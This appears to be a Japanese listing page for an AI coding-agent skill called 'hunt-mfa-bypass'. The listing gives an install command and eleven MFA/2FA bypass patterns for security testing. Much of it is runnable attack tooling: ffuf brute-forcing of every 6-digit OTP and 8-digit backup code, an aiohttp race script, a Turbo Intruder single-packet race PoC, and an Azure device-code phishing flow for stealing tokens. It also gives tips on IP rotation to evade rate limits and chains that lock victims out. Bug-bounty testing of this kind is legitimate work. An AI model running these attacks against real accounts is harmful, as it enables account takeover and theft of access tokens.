hunt-mfa-bypass について
認証フローの MFA・2FA バイパスを調べるセキュリティテスト用スキルです。OTP、バックアップコード、デバイス信頼、競合状態、SSOを扱い、兆候と確認済みの問題を区別する検証方法も示します。
主な機能
- 0111種類のMFAバイパスパターン
- 02OTPとバックアップコードのテスト
- 03認証フローとSSOの確認
- 04競合状態のテスト手順
- 05検証チェックリストと注意点
活用シーン
- 01OTP試行にレート制限があるか確認
- 02使用済みOTPやバックアップコードの再利用をテスト
- 03ログインやSSOでMFAが強制されるか検証
- 04MFA検証の並行処理を評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-mfa-bypassインストール後、Claude Code で/hunt-mfa-bypassを入力して読み込まれたか確認します。
詳細
19. MFA/2FA バイパス
増加傾向にあるバグの種類です。7 つの異なるパターンがあります。事前のセッションなしでアカウント乗っ取り(ATO)を可能にする場合、High/Critical の評価になります。
パターン 1:OTP のレート制限がない
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
-X POST -H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"otp":"FUZZ"}' \
-w <(seq -w 000000 999999) \
-fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
パターン 2:使用後に OTP が無効化されない
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
パターン 3:レスポンスの改ざん
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
パターン 4:MFA の手順をスキップする(ワークフローバイパス)
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl --max-time 30 --connect-timeout 10 -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
パターン 5:MFA 検証時の競合状態
import asyncio, aiohttp
async def verify(session, otp):
async with session.post("https://target.com/api/mfa/verify",
json={"otp": otp}) as r:
return r.status, await r.text()
async def race():
cookies = {"session": "YOUR_SESSION"}
async with aiohttp.ClientSession(cookies=cookies) as s:
# Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
# window before the server marks it used. Two requests are NOT enough —
# they almost always resolve sequentially as "already-used" (false negative).
# Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
# Race confirmed if >1 success (or 1 success among many "already-used").
for status, body in results:
print(status, body)
asyncio.run(race())
パターン 6:バックアップコードの総当たり
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
パターン 7:「このデバイスを記憶する」による信頼の昇格
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
MFA の連鎖的な権限昇格
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High
パターン 8:OAuth デバイスコードフローの MFA バイパス
Device authorization grant (RFC 8628) - skips interactive user-agent,
meaning MFA challenge is NEVER presented. The device code flow has no
session where the IdP can enforce an MFA step-up.
Detection:
curl --max-time 30 --connect-timeout 10 -s "https://target.com/.well-known/oauth-authorization-server" | jq ".device_authorization_endpoint"
# If present -> device code flow enabled; test if MFA is bypassed
Azure exploitation example:
1. POST to https://login.microsoftonline.com/<tenant>/oauth2/v2.0/devicecode
Body: client_id=<app_id>&scope=user.read%20openid
-> Returns device_code, user_code, verification_uri
2. Attacker sends user_code to victim via phishing -> victim enters code
3. Meanwhile attacker polls: POST https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token
Body: grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=<device_code>&client_id=<app_id>
4. On victim approval -> attacker receives access_token + refresh_token
5. If app does NOT enforce MFA on device code grant -> token without MFA check
パターン 9:バックアップコードの総当たり(ffuf ベース)
Recovery/backup codes often have lower entropy than advertised - some IdPs
use sequential or timestamp-seeded codes. Test with ffuf:
ffuf -u "https://target.com/api/mfa/verify-backup" \
-X POST -H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"backup_code":"FUZZ"}' \
-w <(seq -w 00000000 99999999) \
-fc 400,401,429 -t 10 -p 0.1-0.5
Key checks:
- Purely numeric? 8-digit = 100M (feasible in hours at 5K req/s)
- Format-locked? (e.g., "XXXX-XXXX" - hyphen reduces search space)
- Per-IP rate limiting? Rotate IPs if per-IP, not per-code
- Invalidated after use? If not -> reuse same code for all accounts
パターン 10:SSO バイパスによる MFA
SSO integrated with MFA at IdP level, but SP-initiated SSO (Service Provider
initiates SAML/OIDC flow) may skip MFA if IdP does not re-auth:
1. User authenticates to IdP with password only (no MFA)
2. IdP issues SAML assertion or ID token WITHOUT MFA claim (amr != mfa)
3. SP trusts assertion without checking acr/amr values -> grants access
Detection:
- Check SAML AuthnContextClassRef for expected MFA class
- OIDC: decode ID token JWT, check the "amr" claim
- If SP accepts tokens without "mfa" in amr -> bypass confirmed
Test: initiate SP login -> intercept SAML/OIDC request -> strip MFA params ->
forward to IdP. If assertion issued without MFA challenge -> SP grants access
パターン 11:生体認証 MFA のバイパス
Server-side biometric verification (fingerprint scan, face match) where raw
biometric data or match-result token is sent to server can be replayed.
1. Intercept biometric submission in Burp (Base64 image or match token)
2. Capture the "biometric_verified: true" response or signed assertion
3. Replay same payload in new session (different browser/device)
4. If accepted without freshness (nonce, timestamp, device binding) -> bypass
Common weak implementations:
- Static biometric challenge (not per-session nonce)
- JWT result lacking "iat"/"jti" claims -> replayable
- Server trusts client-reported "passed" boolean
Detection: capture token, wait 5 min, replay in Burp Repeater. If accepted ->
no freshness check. POST /api/biometric/verify {"token":"eyJ..."}
更新された検出方法
Trace full auth flow in Burp Proxy HTTP history with explicit state transitions:
1. Credential submission -> POST /api/login -> set-cookie, redirect
2. MFA challenge request -> GET /mfa/challenge -> challenge data
3. MFA verification -> POST /api/mfa/verify -> auth token/cookie
4. Post-MFA resource access -> GET /dashboard -> 200 OK (authed)
5. Sensitive action (no MFA) -> POST /api/change-password -> 200 (no step-up)
Check each transition:
- Can (1->4) be forced by skipping (2->3)? (Pattern 4 - workflow bypass)
- Does (3) accept the same payload twice? (Pattern 2 - OTP reuse)
- Is (3) idempotent under concurrent load? (Pattern 5 - race condition)
- Does (5) bypass MFA step-up? (Pattern 1 variant - sensitive endpoint)
JWT audit after each step:
for token in $(cat captured_tokens.txt); do
echo "$token" | cut -d. -f2 | base64 -d 2>/dev/null | jq ".amr, .acr, .mfa, .auth_time"
done
# Look for: missing "mfa" claim, stale "auth_time", missing "amr":["mfa"]
Turbo Intruder PoC — MFA の競合状態
"""Turbo Intruder script for MFA race-conditions (Pattern 5 - advanced).
Single-packet attack via HTTP/2 connection reuse - fires 30+ OTP submissions
in one TCP segment before the server processes any, maximizing TOCTOU."""
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Fire 30 parallel OTP submissions on the SAME session
for i in range(30):
engine.queue(target.req, {"otp":"123456"}, learn=0)
def handleResponse(req, interesting):
table.add(req)
if chr(34)+"success"+chr(34)+":true" in req.response:
print(f"[RACE WIN] Request {req.id} succeeded - MFA race confirmed")
print(req.response[:500])
競合状態の検証チェックリスト
1. Run >=30 parallel requests (2-5 is insufficient - sequential resolution)
2. Use HTTP/2 single-packet attack (Turbo Intruder BURP2 or Python h2 library)
3. Confirm >1 requests return {"success": true} (or 1 success + N "already_used")
4. Verify the OTP is consumed afterward (replay should fail)
5. Document: server-side atomicity gap confirmed - all OTP codes are vulnerable
検証
次のセルフテストを実行して、MFA バイパスの調査準備が整っていることを確認します。
-
スキルの整合性 — スキルファイルが読み取り可能で、形式が正しいことを確認します。
grep -q "name: hunt-mfa-bypass" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つすべてのテストで、スキルが適切に構成され、使用可能な状態であることを確認します。
注意点
- 直接 URL にアクセスする MFA バイパス — 初回ログイン後、MFA の前に
/dashboardに移動する方法が最も一般的なバイパスです。ログイン後のすべてのパスをテストしてください。 - レスポンスの改ざん — レスポンスの
{"mfa_required":true}をfalseに変更しても、サーバーがクライアント側の状態を信頼する場合に限り、バイパスになります。 - MFA コードの再利用 — 有効期間内にコードを再利用できる場合は、有効期間の長さと再利用可能な回数を記録してください。
- バックアップコードの総当たり — バックアップコードは通常 8 文字以上です。実行可能性はレート制限によって異なります。悪用可能だと判断する前に、レート制限をテストしてください。
- 再認証なしでの MFA 登録 — 現在のパスワードまたは OTP による検証なしで新しい MFA デバイスを追加できることが問題であり、MFA 自体が問題なのではありません。
関連するスキルとチェーン
hunt-ato— MFA バイパスはプリミティブであり、ATO はその到達点です。チェーンのプリミティブ:Cookie の窃取(XSS またはセッション固定化を介する)+パスワードオラクル(ログイン応答の時間差/長さの差から、有効なパスワードをロックアウトなしで特定する)+パスワード変更エンドポイントで MFA による追加認証がない = OTP チャレンジに一度も直面することなく持続的な ATO が成立し、パスワードが変更され、攻撃者によって被害者が締め出されます。hunt-race-condition— パターン 5(OTP の競合)は競合状態の領域に該当するため、両方のスキルを一緒に読み込んでください。チェーンのプリミティブ:同じ 6 桁の OTP を 20 個の並列 HTTP/2 ストリームで(Turbo Intruder によるシングルパケット攻撃)、サーバーが使用済みとしてマークする前に送信する → 1 件成功+19 件が「使用済み」→ 競合ウィンドウを確認 → 攻撃者はブルートフォースする必要はなく、1 回推測して並列化するだけ → ATO。hunt-auth-bypass— MFA ステップのスキップは、ワークフローレイヤーでの認証フローバイパスです。チェーンのプリミティブ:パスワードステップ後に発行された MFA 前の Cookie +/mfaルートをスキップして/dashboardへ直接移動 + サーバーは/mfaのみをミドルウェアで制御し、/dashboardは制御しない = パスワードのみの状態から認証後の完全なアクセスが可能になり、ルートの制御位置が誤っていたため MFA が一度も強制されません。hunt-misc—/api/me経由でのリカバリーコードのダンプはその他クラスの情報漏えいですが、チェーン化されると重大度は Critical になります。チェーンのプリミティブ:/api/meがbackup_codes配列を含むユーザーオブジェクト全体を返す(平文で、ローテーションされない)→ 任意の読み取り IDOR または XSS を持つ攻撃者がバックアップコードを外部へ持ち出す → バックアップコードを 1 つ使用する → MFA を通過する → OTP の知識なしで ATO が成立する。security-arsenal— OTP ブルートフォースのペイロードセクション(000000-999999 のワードリストジェネレーター、-t 5 -p 0.5-2を使った ffuf のレート制限回避パターン、proxychains による分散 IP ローテーション)と、JWT の「MFA 通過済み」クレームを偽造できる場合は JWT トークンリプレイの表を参照してください。triage-validation— 攻撃者がすでにパスワードを知っている場合にのみ機能する MFA バイパスを Critical と判定する前に、Pre-Severity Gate を実行してください。単独の MFA バイパスは High、パスワードオラクルとのチェーンは Critical、Cookie 窃取のみとのチェーンも Critical です。このチェーンに関する問いによって、両者を区別できます。
コメント
Markdown 対応